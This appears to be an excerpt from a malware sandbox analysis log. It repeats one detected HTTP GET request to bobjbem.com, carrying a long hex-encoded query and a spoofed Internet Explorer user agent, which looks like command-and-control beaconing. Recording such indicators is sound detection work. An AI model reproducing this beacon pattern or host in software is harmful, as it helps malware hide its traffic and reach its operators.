Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
